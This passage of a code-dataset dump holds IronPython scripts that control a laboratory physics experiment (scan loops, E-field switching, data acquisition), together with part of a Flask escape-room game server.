\"-7.11279\", \"-8.5493\", \"-9.75751\", \"-10.7639\", \"-11.5174\", \"-12.0689\", \"-12.4872\", \"-12.7709\", \"-12.9314\", \"-13.095\", \"-13.1304\", \"-13.0236\", \"-12.7866\", \"-12.3696\", \"-12.0129\", \"-11.3589\", \"-10.535\", \"-9.66376\", \"-8.55365\", \"-6.93337\", \"-4.66466\", \"-2.26597\", \"1.14551\", \"4.58811\"]\n\tfor i in range(len(r)):\n\t\tscanMode = i%2\n\t\tmode = modes[scanMode]\n\t\tprint \"pg:rf1CentreTime -> \" + str(r[i])\n\t\tprint \"pg:rf1BlankingCentreTime -> \" + str(r[i])\n\t\tprint \"out:scanOnAmplitude -> \" + str(amps[i])\n\t\tsm.AdjustProfileParameter(\"out\", \"scanMode\", mode, False)\n\t\tsm.AdjustProfileParameter(\"out\", \"scanOnAmplitude\", amps[i], False)\n\t\tsm.AdjustProfileParameter(\"pg\", \"rf1CentreTime\", str(r[i]), False)\n\t\tsm.AdjustProfileParameter(\"pg\", \"rf1BlankingCentreTime\", str(r[i]), False)\n\t\tsm.AcquireAndWait(numScans)\n\t\tscanPath = file + \"_\" + str(i) + \".zip\"\n\t\tsm.SaveAverageData(scanPath)\n\ndef run_script():\n\tprint \"Use mapLoop(start, end, step, numScans)\"\n\n", "id": "6697804", "language": "Python", "matching_score": 5.578717231750488, "max_stars_count": 6, "path": "EDMScripts/OldScripts/MapRF1CentreLoopReverseDirection.py" }, { "content": "# MapLoop - asks ScanMaster to make a series of scans with one of the pg\n# parameters incremented scan to scan\n\nfrom DAQ.Environment import *\n\ndef mapLoop(start, end, step, numScans):\n\t# setup\n\tfileSystem = Environs.FileSystem\n\tfile = \\\n\t\tfileSystem.GetDataDirectory(\\\n\t\t\t\t\tfileSystem.Paths[\"scanMasterDataPath\"])\\\n\t\t+ fileSystem.GenerateNextDataFileName()\n\tprint(\"Saving as \" + file + \"_*.zip\")\n\tprint(\"\")\n\t# start looping\n\tr = range(start, end, step)\n\tmodes = [\"up\",\"down\"]\n\tfor i in range(len(r)):\n\t\tscanMode = i%2\n\t\tprint \"Scan Mode -> \" + str(modes[scanMode])\n\ndef run_script():\n\tprint \"Use mapLoop(start, end, step, numScans)\"\n\n", "id": "3071674", "language": "Python", "matching_score": 0.9139517545700073, "max_stars_count": 6, "path": "EDMScripts/OldScripts/testMode.py" }, { "content": "# Import a whole load of stuff\nfrom System.IO import *\nfrom System.Drawing import *\nfrom System.Runtime.Remoting import *\nfrom System.Threading import *\nfrom System.Windows.Forms import *\nfrom System.Xml.Serialization import *\nfrom System import *\n\nfrom DAQ.Environment import *\nfrom EDMConfig import *\n\ndef saveBlockConfig(path, config):\n\tfs = FileStream(path, FileMode.Create)\n\ts = XmlSerializer(BlockConfig)\n\ts.Serialize(fs,config)\n\tfs.Close()\n\ndef loadBlockConfig(path):\n\tfs = FileStream(path, FileMode.Open)\n\ts = XmlSerializer(BlockConfig)\n\tbc = s.Deserialize(fs)\n\tfs.Close()\n\treturn bc\n\ndef writeLatestBlockNotificationFile(cluster, blockIndex):\n\tfs = FileStream(Environs.FileSystem.Paths[\"settingsPath\"] + \"\\\\BlockHead\\\\latestBlock.txt\", FileMode.Create)\n\tsw = StreamWriter(fs)\n\tsw.WriteLine(cluster + \"\\t\" + str(blockIndex))\n\tsw.Close()\n\tfs.Close()\n\ndef checkYAGAndFix():\n\tinterlockFailed = hc.YAGInterlockFailed;\n\tif (interlockFailed):\n\t\tbh.StopPattern();\n\t\tbh.StartPattern();\t\n\ndef prompt(text):\n\tsys.stdout.write(text)\n\treturn sys.stdin.readline().strip()\n\ndef EDMGoReal(nullRun):\n\t# Setup\n\tf = None\n\tfileSystem = Environs.FileSystem\n\tdataPath = fileSystem.GetDataDirectory(fileSystem.Paths[\"edmDataPath\"])\n\tprint(\"Data directory is : \" + dataPath)\n\tprint(\"\")\n\tsuggestedClusterName = fileSystem.GenerateNextDataFileName()\n\n\t# User inputs data\n\tcluster = prompt(\"Cluster name [\" + suggestedClusterName +\"]: \")\n\tif cluster == \"\":\n\t\tcluster = suggestedClusterName\n\t\tprint(\"Using cluster \" + suggestedClusterName)\n\teState = Boolean.Parse(prompt(\"E-state: \"))\n\tbState = Boolean.Parse(prompt(\"B-state: \"))\n\tprint(\"Measuring parameters ...\")\n\thc.UpdateBCurrentMonitor()\n\thc.UpdateBCurrentMonitor()\n\thc.UpdateVMonitor()\n\t# load a default BlockConfig and customise it appropriately\n\tsettingsPath = fileSystem.Paths[\"settingsPath\"] + \"\\\\BlockHead\\\\\"\n\tbc = loadBlockConfig(settingsPath + \"default.xml\")\n\tbc.Settings[\"cluster\"] = cluster\n\tbc.Settings[\"eState\"] = eState\n\tbc.Settings[\"bState\"] = bState\n\tbc.Settings[\"ePlus\"] = hc.CPlusMonitorVoltage * hc.CPlusMonitorScale\n\tbc.Settings[\"eMinus\"] = hc.CMinusMonitorVoltage * hc.CMinusMonitorScale\n\tbc.GetModulationByName(\"B\").Centre = (hc.BiasCurrent)/1000\n\tbc.GetModulationByName(\"B\").Step = abs(hc.FlipStepCurrent)/1000\n\tbc.GetModulationByName(\"DB\").Step = abs(hc.CalStepCurrent)/1000\n\tprint(\"V plus: \" + str(hc.CPlusMonitorVoltage * hc.CPlusMonitorScale))\n\tprint(\"V minus: \" + str(hc.CMinusMonitorVoltage * hc.CMinusMonitorScale))\n\tprint(\"Bias: \" + str(hc.BiasCurrent))\n\tprint(\"B step: \" + str(abs(hc.FlipStepCurrent)))\n\tprint(\"DB step: \" + str(abs(hc.CalStepCurrent)))\n\tprint(\"Setting rf parameters ...\")\n\tbc.GetModulationByName(\"RF1A\").Centre = hc.RF1AttCentre\n\tbc.GetModulationByName(\"RF1A\").Step = hc.RF1AttStep\n\tbc.GetModulationByName(\"RF2A\").Centre = hc.RF2AttCentre\n\tbc.GetModulationByName(\"RF2A\").Step = hc.RF2AttStep\n\tbc.GetModulationByName(\"RF1F\").Centre = hc.RF1FMCentre\n\tbc.GetModulationByName(\"RF1F\").Step = hc.RF1FMStep\n\tbc.GetModulationByName(\"RF2F\").Centre = hc.RF2FMCentre\n\tbc.GetModulationByName(\"RF2F\").Step = hc.RF2FMStep\n\tprint(\"Storing E switch parameters ...\")\n\tbc.Settings[\"eRampDownTime\"] = hc.ERampDownTime\n\tbc.Settings[\"eRampDownDelay\"] = hc.ERampDownDelay\n\tbc.Settings[\"eBleedTime\"] = hc.EBleedTime\n\tbc.Settings[\"eSwitchTime\"] = hc.ESwitchTime\n\tbc.Settings[\"eRampUpTime\"] = hc.ERampUpTime\n\tbc.Settings[\"eRampUpDelay\"] = hc.ERampUpDelay\n\t# this is for legacy analysis compatibility\n\tbc.Settings[\"eDischargeTime\"] = hc.ERampDownTime + hc.ERampDownDelay\n\tbc.Settings[\"eChargeTime\"] = hc.ERampUpTime + hc.ERampUpDelay\n\n\t# loop and take data\n\tbh.StartPattern()\n\tblockIndex = 0\n\tif nullRun:\n\t\tmaxBlockIndex = 10000\n\telse:\n\t\tmaxBlockIndex = 60\n\twhile blockIndex < maxBlockIndex:\n\t\tprint(\"Acquiring block \" + str(blockIndex) + \" ...\")\n\t\t# save the block config and load into blockhead\n\t\tprint(\"Saving temp config.\")\n\t\tbc.Settings[\"clusterIndex\"] = blockIndex\n\t\ttempConfigFile ='%(p)stemp%(c)s_%(i)s.xml' % {'p': settingsPath, 'c': cluster, 'i': blockIndex}\n\t\tsaveBlockConfig(tempConfigFile, bc)\n\t\tSystem.Threading.Thread.Sleep(500)\n\t\tprint(\"Loading temp config.\")\n\t\tbh.LoadConfig(tempConfigFile)\n\t\t# take the block and save it\n\t\tprint(\"Running ...\")\n\t\tbh.AcquireAndWait()\n\t\tprint(\"Done.\")\n\t\tblockPath = '%(p)s%(c)s_%(i)s.zip' % {'p': dataPath, 'c': cluster, 'i': blockIndex}\n\t\tbh.SaveBlock(blockPath)\n\t\tprint(\"Saved block \"+ str(blockIndex) + \".\")\n\t\t# give mma a chance to analyse the block\n\t\tprint(\"Notifying Mathematica and waiting ...\")\n\t\twriteLatestBlockNotificationFile(cluster, blockIndex)\n\t\tSystem.Threading.Thread.Sleep(5000)\n\t\tprint(\"Done.\")\n\t\t# increment and loop\n\t\tFile.Delete(tempConfigFile)\n\t\t# if not nullRun:\n\t\tcheckYAGAndFix()\n\t\tblockIndex = blockIndex + 1\n\tbh.StopPattern()\n\n\ndef EDMGoNull():\n\tEDMGoReal(True)\n\ndef EDMGo():\n\tEDMGoReal(False)\n\ndef run_script():\n\tEDMGo()\n\n", "id": "6547220", "language": "Python", "matching_score": 3.501150608062744, "max_stars_count": 6, "path": "EDMScripts/OldScripts/SimpleEDMLoop.py" }, { "content": "# Import a whole load of stuff\nfrom System.IO import *\nfrom System.Drawing import *\nfrom System.Runtime.Remoting import *\nfrom System.Threading import *\nfrom System.Windows.Forms import *\nfrom System.Xml.Serialization import *\nfrom System import *\n\nfrom Analysis.EDM import *\nfrom DAQ.Environment import *\nfrom EDMConfig import *\n\n\n\ndef prompt(text):\n\tsys.stdout.write(text)\n\treturn sys.stdin.readline().strip()\n\ndef EDMGo():\n\t# loop and take data\n\tblockIndex = 0\n\tmaxBlockIndex = 2000\n\tpolarity = True\n\tvoltage = 0\n\tf = open('C:/Users/edm/Desktop/test.txt', 'a')\n\n\n\twhile blockIndex < maxBlockIndex:\n\t\thc.ChangePolarity( polarity )\n\t\tprint(\"Measurement Number \" + str(blockIndex) + \" ...\")\n\t\tprint(\"Polarity is \" + str(polarity) )\n\t\tSystem.Threading.Thread.Sleep(1000)\n\t\thc.UpdateBVoltage()\n\t\tvoltage = hc.HPVoltage\n\t\tprint(\"Voltage is \" + str(voltage))\n\t\tf.write(str(polarity) + \" \" + str(voltage) + \"\\n\")\n\t\tpolarity = not polarity \n\t\tblockIndex = blockIndex +1\n\t\n\tf.close()\n\ndef run_script():\n\tEDMGo()\n\n", "id": "612536", "language": "Python", "matching_score": 3.3608546257019043, "max_stars_count": 6, "path": "EDMScripts/OldScripts/SwitchEMeasureMultimeterVoltageLoop.py" }, { "content": "# Import a whole load of stuff\nfrom System.IO import *\nfrom System.Drawing import *\nfrom System.Runtime.Remoting import *\nfrom System.Threading import *\nfrom System.Windows.Forms import *\nfrom System.Xml.Serialization import *\nfrom System import *\n\nfrom Analysis.EDM import *\nfrom DAQ.Environment import *\nfrom EDMConfig import *\n\nr = Random()\n\ndef EDMGo():\n\t# loop and take data\n\tblockIndex = 0\n\tmaxBlockIndex = 100000\n\twhile blockIndex < maxBlockIndex:\n\t\tprint(\"Acquiring block \" + str(blockIndex) + \" ...\")\n\t\t# randomise polarization\n\t\tpolAngle = 360.0 * r.NextDouble()\n\t\thc.SetPolarizerAngle(polAngle)\n\t\thc.SwitchEAndWait()\n\t\tblockIndex = blockIndex + 1\n\ndef run_script():\n\tEDMGo()\n\n", "id": "3766624", "language": "Python", "matching_score": 1.8486313819885254, "max_stars_count": 6, "path": "EDMScripts/OldScripts/test_rotator.py" }, { "content": "from System.Threading import *\nfrom System import *\n\ndef switchEandWait(timeinS):\n\thc.FlipDB()\n\thc.SwitchEAndWait()\n while (hc.SwitchingEfields==True):\n\t\tpass\n\tSystem.Threading.Thread.Sleep(1000*timeinS)\n\ndef EswitchSequence():\n\tswitchCount = 1\n\t#loop forever\n\tpolarity = True\n\tr = Random()\n\twhile switchCount > 0:\n\t\tpolarity = bool(r.Next(0,2))\n\t\tif (hc.EFieldPolarity==polarity):\n\t\t\tprint \"Bonus Switch\"\n\t\t\thc.SwitchEAndWait()\n\t\t\tSystem.Threading.Thread.Sleep(100)\n\t\thc.SetTargetStepperHigh()\n\t\tswitchEandWait(10)\n\t\tswitchEandWait(20)\n\t\tswitchEandWait(10)\n\t\tswitchEandWait(10)\n\t\tswitchEandWait(20)\n\t\tswitchEandWait(20)\n\t\tswitchEandWait(20)\n\t\tswitchEandWait(10)\n\t\tswitchEandWait(10)\n\t\tswitchEandWait(20)\n\t\tswitchEandWait(10)\n\t\thc.FlipDB()\n \thc.SwitchEAndWait()\n \tswitchCount=switchCount+1\n \tprint \"Switch Count \" + str(switchCount)\n\t\tSystem.Threading.Thread.Sleep(30000)\n\t\thc.SetTargetStepperLow()\ndef run_script():\n\tprint \"Use EswitchSequence()\"\n\n\n", "id": "9901378", "language": "Python", "matching_score": 2.6749279499053955, "max_stars_count": 6, "path": "EDMScripts/OldScripts/EDMEswitchSequence.py" }, { "content": "from System.Threading import *\n\ndef condition(switchTime):\n\tswitchCount = 1\n\t#loop forever\n\twhile switchCount > 0:\n\t\tprint(\"Stepping target\")\n\t\thc.StepTarget(2)\n\t\tSystem.Threading.Thread.Sleep(1000 * switchTime)\n\t\tswitchCount = switchCount + 1\n\n\t\ndef run_script():\n\tprint \"Use condition(switchTime)\"\n\n\n", "id": "7659235", "language": "Python", "matching_score": 0.9651119709014893, "max_stars_count": 6, "path": "EDMScripts/OldScripts/TargetCondition.py" }, { "content": "from System.Threading import *\nimport math\n\ndef condition(waitTime, stepSize, polarity):\n\tcurrentVoltage = 0.0\n\thc.EFieldPolarity = polarity\n\thc.EnableEField(True)\n\tprint \"E-field is switched on in polarity \" + str(polarity)\n\tSystem.Threading.Thread.Sleep(10000)\n\twhile currentVoltage < 10:\n\t\tcurrentVoltage = currentVoltage + stepSize\n\t\tprint \"Incrementing voltage to \" + str(currentVoltage) + \" kV.\"\n\t\thc.SetCPlusVoltage(currentVoltage)\n\t\thc.SetCMinusVoltage(currentVoltage)\n\t\tSystem.Threading.Thread.Sleep(waitTime * 1000)\n\t\ndef run_script():\n\tprint \"Use condition(waitTime in s, stepSize in kV, polarity in True/False)\"\n\n\n", "id": "6832369", "language": "Python", "matching_score": 1.8704829216003418, "max_stars_count": 6, "path": "EDMScripts/FieldEmissionCondition.py" }, { "content": "from System.Threading import *\nimport math\n\ndef condition(switchTime, pollTime):\n\tswitchCount = 1\n\tnumSamples = int(switchTime * 1000.0 / pollTime)\n\tnCurrentSamples = []\n\tsCurrentSamples = []\n\t#loop forever\n\twhile switchCount > 0:\n\t\thc.SwitchEAndWait()\n\t\tprint \"Switch count \"+str(switchCount)\n\t\tfor x in range(1, numSamples):\n\t\t\tSystem.Threading.Thread.Sleep(pollTime)\n\t\t\tnCurrentSamples.append(hc.LastNorthCurrent)\n\t\t\tsCurrentSamples.append(hc.LastSouthCurrent)\n\t\tnAvCurrent = sum(nCurrentSamples) / float(len(nCurrentSamples))\n\t\tsAvCurrent = sum(sCurrentSamples) / float(len(sCurrentSamples))\n\t\tprint \"Average leakage current in N plate is \" + str(nAvCurrent) + \"nA.\"\n\t\tprint \"Average leakage current in S plate is \" + str(sAvCurrent) + \"nA.\"\n\t\tif math.fabs(nAvCurrent) > 20:\n\t\t\tprint \"Average leakage current in N plate is too high! Aborting conditioning...\"\n\t\t\tbreak\n\t\telif math.fabs(sAvCurrent) > 20:\n\t\t\tprint \"Average leakage current in S plate is too high! Aborting conditioning...\"\n\t\t\tbreak\n\t\tswitchCount = switchCount + 1\n\t\tdel nCurrentSamples[:]\n\t\tdel sCurrentSamples[:]\n\thc.EnableEField(False)\n\treturn\n\n\t\ndef run_script():\n\tprint \"Use condition(switchTime in seconds, pollTime in ms)\"\n\n\n", "id": "5409066", "language": "Python", "matching_score": 4.218404769897461, "max_stars_count": 0, "path": "EDMScripts/NotSoSimpleCondition.py" }, { "content": "from System.Threading import *\nimport math\nimport datetime\n\ndef RecordBreakdown():\n\tcount = 0\n\twhile True:\n\t\tSystem.Threading.Thread.Sleep(100)\n\t\tif hc.LastSouthCurrent < -300:\n\t\t\tcount = count + 1\n\t\t\tprint \"Breakdown detected at \" + str(datetime.datetime.now())\n\t\t\tprint \"Count: \" + str(count)\n\t\t\tSystem.Threading.Thread.Sleep(500)\n\t\ndef run_script():\n\tprint \"Start: \" + str(datetime.datetime.now())\n\tRecordBreakdown()\n\n\n", "id": "3364381", "language": "Python", "matching_score": 1.3107613325119019, "max_stars_count": 6, "path": "EDMScripts/BreakdownCounter.py" }, { "content": "# Import a whole load of stuff\nfrom System.IO import *\nfrom System.Drawing import *\nfrom System.Runtime.Remoting import *\nfrom System.Threading import *\nfrom System.Windows.Forms import *\nfrom System.Xml.Serialization import *\nfrom System import *\nfrom System.Collections.Generic import Dictionary\n\nfrom DAQ.Environment import *\nfrom DAQ import *\nfrom MOTMaster import*\n\ndef run_script():\n\treturn 0\n\ndef SwitchCoils(maxCurrent,minCurrent):\n\tcount = 0\n\tendcount = 2\n\tdic = Dictionary[String,Object]()\n\tmm.SetScriptPath(\"C:\\\\Experiment Control\\\\EDMSuiteTrunk\\\\SympatheticMOTMasterScripts\\\\MagTrapAbsImage.cs\")\n\twhile(count < endcount):\n\t\tif count == 0:\n\t\t\tdic[\"MOTCoilsCurrent\"] = maxCurrent\n\t\t\tmm.Run(dic)\n\t\t\tcount = count + 1\n\t\telif count == 1:\n\t\t\tdic[\"MOTCoilsCurrent\"] = minCurrent\n\t\t\tmm.Run(dic)\n\t\t\tcount = count + 1\n\t\n\treturn 0\n\ndef RepeatScansSWC(maxCurrent,minCurrent,numberofrepeats):\n\tj = 0\n\twhile(j < numberofrepeats):\n\t\tSwitchCoils(maxCurrent,minCurrent)\n\t\tj = j+1\n\treturn 0", "id": "355225", "language": "Python", "matching_score": 2.084336996078491, "max_stars_count": 6, "path": "SympatheticScripts/SPMagTrapAbsImage.py" }, { "content": "import clr\nimport sys\nfrom System.IO import Path\nimport time\n\n# code for IronPython remoting problem workaround\nclass typedproxy(object):\n __slots__ = ['obj', 'proxyType']\n def __init__(self, obj, proxyType):\n self.obj = obj\n self.proxyType = proxyType\n def __getattribute__(self, attr):\n proxyType = object.__getattribute__(self, 'proxyType')\n obj = object.__getattribute__(self, 'obj')\n return getattr(proxyType, attr).__get__(obj, proxyType)\n\n# Import the edm control software assemblies into IronPython\n\n#sys.path.append(Path.GetFullPath(\"C:\\\\Control Programs\\\\EDMSuite\\\\ScanMaster\\\\bin\\\\Decelerator\\\\\"))\n#clr.AddReferenceToFile(\"ScanMaster.exe\")\n\nsys.path.append(Path.GetFullPath(\"C:\\\\ControlPrograms\\\\EDMSuite\\\\MOTMaster\\\\bin\\\\CaF\\\\\"))\nclr.AddReferenceToFile(\"MOTMaster.exe\")\n\nsys.path.append(Path.GetFullPath(\"C:\\\\ControlPrograms\\\\EDMSuite\\\\MoleculeMOTHardwareControl\\\\bin\\\\CaF\\\\\"))\nclr.AddReferenceToFile(\"MoleculeMOTHardwareControl.exe\")\nclr.AddReferenceToFile(\"DAQ.dll\")\nclr.AddReferenceToFile(\"SharedCode.dll\")\n\n# Load some system assemblies that we'll need\nclr.AddReference(\"System.Drawing\")\nclr.AddReference(\"System.Windows.Forms\")\nclr.AddReference(\"System.Xml\")\n\n# create connections to the control programs\nimport System\n#import ScanMaster\nimport MOTMaster\nimport MoleculeMOTHardwareControl\n\n#sm = typedproxy(System.Activator.GetObject(ScanMaster.Controller, 'tcp://localhost:1170/controller.rem'), #ScanMaster.Controller)\nhc = typedproxy(System.Activator.GetObject(MoleculeMOTHardwareControl.Controller, 'tcp://localhost:1172/controller.rem'), MoleculeMOTHardwareControl.Controller)\nmm = typedproxy(System.Activator.GetObject(MOTMaster.Controller, 'tcp://localhost:1187/controller.rem'), MOTMaster.Controller)\n\n# usage message\nprint('MoleculeMOT interactive scripting control')\nprint('''\nThe variables mm, and hc are pre-assigned to the MOTMaster and MoleculeMOTHardwareControl Controller objects respectively. You can call any of these objects methods, for example: mm.Go(). Look at the c# code to see which remote methods are available. You can use any Python code you like to script these calls.\n\nAll the functions from scripts.py have been preloaded. If you want to reload the functions (e.g. if you changed them), you can run: reload_script().\n''')\n\n# code to reload script\ndef reload_script():\n\texecfile('scripts.py', globals())\n\nreload_script()", "id": "3344096", "language": "Python", "matching_score": 5.843863010406494, "max_stars_count": 6, "path": "MoleculeMOTScripts/mot_init.py" }, { "content": "# edm_init.py - sets up the IronPython environment ready for scripting\n# the edm control software.\n\nimport clr\nimport sys\nimport time\nfrom System.IO import Path\n\n# Import the edm control software assemblies into IronPython\nsys.path.append(Path.GetFullPath(\"..\\\\EDMHardwareControl\\\\bin\\\\EDM\\\\\"))\nclr.AddReferenceToFile(\"EDMHardwareControl.exe\")\nclr.AddReferenceToFile(\"DAQ.dll\")\n\n# Load some system assemblies that we'll need\nclr.AddReference(\"System.Drawing\")\nclr.AddReference(\"System.Windows.Forms\")\nclr.AddReference(\"System.Xml\")\n\n# code for IronPython remoting problem workaround\nclass typedproxy(object):\n __slots__ = ['obj', 'proxyType']\n def __init__(self, obj, proxyType):\n self.obj = obj\n self.proxyType = proxyType\n def __getattribute__(self, attr):\n proxyType = object.__getattribute__(self, 'proxyType')\n obj = object.__getattribute__(self, 'obj')\n return getattr(proxyType, attr).__get__(obj, proxyType)\n\n\n# create connections to the control programs\nimport System\nimport EDMHardwareControl\n\nhc = typedproxy(System.Activator.GetObject(EDMHardwareControl.Controller, 'tcp://localhost:1172/controller.rem'), EDMHardwareControl.Controller)\n\ndef run_script():\n reps = prompt('No. of times to switch synth on and off: ')\n for i in range(int(reps)):\n print('Rep: %d') % i\n hc.EnableGreenSynth(True)\n time.sleep(0.1)\n hc.EnableGreenSynth(False)\n time.sleep(0.1)\n\ndef prompt(text):\n\tsys.stdout.write(text)\n\treturn sys.stdin.readline().strip()\n\n\n\n", "id": "3169956", "language": "Python", "matching_score": 0.9154268503189087, "max_stars_count": 6, "path": "EDMScripts/SwitchSynth.py" }, { "content": "# This is a pretty brittle way to get the assembly reference\nsys.path.append(\"C:\\\\Program Files\\\\National Instruments\\\\MeasurementStudioVS2005\\\\DotNET\\\\Assemblies\\\\Current\")\nclr.AddReference(\"NationalInstruments.DAQmx.dll\")\n\nfrom NationalInstruments.DAQmx import *\nfrom DAQ.Environment import *\nfrom math import *\n\ndef readInput(t, sampleRate, numOfSamples):\n\tt.Timing.ConfigureSampleClock(\"\", sampleRate, SampleClockActiveEdge.Rising, SampleQuantityMode.FiniteSamples, numOfSamples);\n\treader = AnalogSingleChannelReader(t.Stream);\n\tvalArray = reader.ReadMultiSample(numOfSamples);\n\tt.Control(TaskAction.Unreserve);\n\treturn sum(valArray) / len(valArray)\n\ndef sniff(channel, numOfSamples, sampleRate, displayEvery):\n\t# set up the magnetomter input\n\tt = Task(\"SnifferInput\")\n\tch = Environs.Hardware.AnalogInputChannels[channel]\n\tch.AddToTask(t,-10,10)\n\tt.Control(TaskAction.Verify)\n\tvals = []\n\ti = 0\n\thc.SwitchEAndWait(False)\n\n\twhile True:\n\t\tv1 = readInput(t, sampleRate, numOfSamples)\n\t\thc.SwitchEAndWait()\n\t\tv2 = readInput(t, sampleRate, numOfSamples)\n\t\tvals.Append(v1 - v2)\n\t\ti = i + 1\n\t\tif ((i % displayEvery) == 0):\n\t\t\tmn = sum(vals) / len(vals)\n\t\t\tse = sqrt(sum((x - mn)**2 for x in vals)) / len(vals)\n\t\t\tprint \"i: \" + str(i) + \"\\tMean: \" + str(1E6 * mn) + \"uV\\tS.E: \" + str(1E6 * se) + \"uV\"\n\n\tt.Dispose()\n\treturn va\n\ndef sniff1():\n\tsniff(\"magnetometer\", 1000, 1000, 5)\n\n\ndef run_script():\n\tprint \"\"\"Field sniffer (tm). Measures an analog input a number of times, throws the\ne-switch and repeats. Collects statistics on the difference in one e-state to\nthe other. The e-switch parameters are taken from EDMHardwareController. So,\nif, for instance, you just want to test the relays with the HV off, you can\nset most of the delays in hardware controller to zero to speed things up. You\ncan easily get above 1Hz this way.\n\nusage: sniff(channel, numOfSamples, sampleRate, displayEvery)\n\n- channel is the name of an analog input in the Hardware class (i.e.\n \"magnetomter\" or \"miniFlux1\" - case sensitive!).\n- numOfSamples is the number of samples taken between each e-switch.\n- sampleRate is the rate at which these samples are taken.\n- displayEvery governs after how many e-switch pairs the statistics\n are updated\n\nSo, for example, sniff(\"magnetometer\", 1000, 1000, 5) will measure for one\nsecond at one kHz, reverse the field and repeat. It will display updated\nstatistics every five seconds.\n\t\"\"\"\n\n\n", "id": "6252274", "language": "Python", "matching_score": 1.7928966283798218, "max_stars_count": 6, "path": "EDMScripts/OldScripts/field_sniffer.py" }, { "content": "#####################################################################################\n# \n# Copyright (c) Microsoft Corporation. All rights reserved.\n# \n# This source code is subject to terms and conditions of the Shared Source License\n# for IronPython. A copy of the license can be found in the License.html file\n# at the root of this distribution. If you can not locate the Shared Source License\n# for IronPython, please send an email to <EMAIL>.\n# By using this source code in any fashion, you are agreeing to be bound by\n# the terms of the Shared Source License for IronPython.\n# \n# You must not remove this notice, or any other, from this software.\n# \n######################################################################################\n\n\nimport sys\nimport clr\nfrom System.IO import Path, Directory, FileInfo\n\ndir = Path.Combine(sys.prefix, 'DLLs')\nif Directory.Exists(dir):\n sys.path.append(dir)\n files = Directory.GetFiles(dir)\n for file in files:\n if file.lower().endswith('.dll'):\n try:\n clr.AddReference(FileInfo(file).Name)\n except:\n pass\n\n", "id": "8510856", "language": "Python", "matching_score": 0.4078579843044281, "max_stars_count": 6, "path": "IronPython Old/lib/site.py" } ]
2.899117
csurfer
[ { "content": "import argparse\nimport datetime\nfrom typing import Any, Optional\n\nfrom flask import Flask, redirect, render_template, request\n\nfrom .reader import CampaignReader\nfrom .room import Game\n\n# Flask app.\napp = Flask(__name__)\n\n# Global variable for capturing game details.\nGAME: Optional[Game] = None\n# Global variable for capturing total time.\nEPOCH: datetime.datetime = datetime.datetime(1970, 1, 1)\nSTART_TIME: datetime.datetime = EPOCH\n\n\n@app.route(\"/\")\ndef index():\n \"\"\"Method to render homepage.\"\"\"\n return render_template(\n \"index.html\", title=GAME.title, text=GAME.text, images=GAME.images,\n )\n\n\ndef get_puzzle(puzzle_id: str) -> Any:\n \"\"\"Method to get the puzzle.\n\n :param puzzle_id: ID of the puzzle.\n \"\"\"\n global START_TIME\n if puzzle_id == CampaignReader.STARTING_PUZZLE_KEY and START_TIME == EPOCH:\n START_TIME = datetime.datetime.now()\n\n if GAME and puzzle_id in GAME.puzzles:\n puzzle = GAME.puzzles[puzzle_id]\n return render_template(\n \"puzzle.html\",\n title=puzzle.title,\n text=puzzle.text,\n images=puzzle.images,\n hints=puzzle.hints,\n )\n else:\n return redirect(\"/404\")\n\n\ndef submit_answer(puzzle_id: str) -> Any:\n \"\"\"Method to submit answer to the puzzle.\n\n :param puzzle_id: ID of the puzzle.\n \"\"\"\n if GAME and puzzle_id in GAME.puzzles:\n puzzle = GAME.puzzles[puzzle_id]\n if request.form[\"answer\"].lower() == puzzle.answer.lower():\n if puzzle.next_puzzle == CampaignReader.FINAL_PUZZLE_KEY:\n seconds = int((datetime.datetime.now() - START_TIME).total_seconds())\n minutes = seconds // 60\n seconds = seconds % 60\n hours = minutes // 60\n minutes = minutes % 60\n return render_template(\n \"winner.html\",\n timetaken=f\"{hours} hours {minutes} minutes {seconds} seconds\",\n )\n else:\n return redirect(f\"/puzzle/{puzzle.next_puzzle}\")\n else:\n return render_template(\n \"puzzle.html\",\n title=puzzle.title,\n text=puzzle.text,\n images=puzzle.images,\n hints=puzzle.hints,\n )\n else:\n return redirect(\"/404\")\n\n\n@app.route(\"/puzzle/<puzzle_id>\", methods=[\"GET\", \"POST\"])\ndef riddler(puzzle_id: str) -> Any:\n \"\"\"Method to render the puzzles.\"\"\"\n if request.method == \"GET\":\n return get_puzzle(puzzle_id)\n elif request.method == \"POST\":\n return submit_answer(puzzle_id)\n\n\ndef main():\n # Create command line parser.\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers(dest=\"command\")\n\n # Create validation command parser.\n validator = subparsers.add_parser(\"validate\")\n validator.add_argument(\"jsonfile\", help=\"JSON file with escaperoom config\")\n\n # Create run command parser.\n runner = subparsers.add_parser(\"run\")\n runner.add_argument(\"jsonfile\", help=\"JSON file with escaperoom config\")\n runner.add_argument(\"--host\", type=str, default=\"127.0.0.1\")\n runner.add_argument(\"--port\", type=int, default=5000)\n\n # Parse command line arguments.\n arguments = parser.parse_args()\n\n if arguments.command == \"validate\":\n CampaignReader(arguments.jsonfile)\n\n if arguments.command == \"run\":\n # Set game configuration.\n global GAME\n GAME = CampaignReader(arguments.jsonfile).get_game_from_campaign()\n\n # Run flask app.\n app.run(host=arguments.host, port=arguments.port)\n", "id": "5126575", "language": "Python", "matching_score": 3.361617088317871, "max_stars_count": 4, "path": "escaperoom/server.py" }, { "content": "from json import loads\nfrom os import path\nfrom typing import Any, Dict\nfrom uuid import uuid4\n\nimport jsonschema\n\nfrom .room import Game, Puzzle\n\n\nclass CampaignReader:\n \"\"\"Class to validate and extract game details from JSON campaign.\"\"\"\n\n STARTING_PUZZLE_KEY: str = \"1\"\n FINAL_PUZZLE_KEY: str = \"end\"\n\n # Common keys.\n TITLE_KEY: str = \"title\"\n TEXT_KEY: str = \"text\"\n IMAGES_KEY: str = \"images\"\n\n # Story keys.\n STORY_KEY: str = \"story\"\n\n # List of puzzles key\n PUZZLES_KEY: str = \"puzzles\"\n\n # Key in each puzzles.\n PUZZLE_HINTS_KEY: str = \"hints\"\n PUZZLE_ANSWER_KEY: str = \"answer\"\n\n def __init__(self, campaign_file: str) -> None:\n \"\"\"Constructor.\n\n :param campaign_file: Absolute path to JSON file with campaign information.\n :type str:\n :raises: FileNotFoundError if invalid path is provided in |campaign_file|.\n :raises: JSONDecodeError if the provided |campaign_file| is not JSON file.\n :raises: ValidationError if campaign doesn't conform to `config.schema`.\n \"\"\"\n # Read campaign JSON.\n self.campaign: Dict[str, Any] = self._load_file(campaign_file)\n\n # Read config.schema for validation.\n here = path.abspath(path.dirname(__file__))\n self.schema = self._load_file(path.join(here, \"config.schema\"))\n\n def _load_file(self, file_path: str) -> Dict[str, 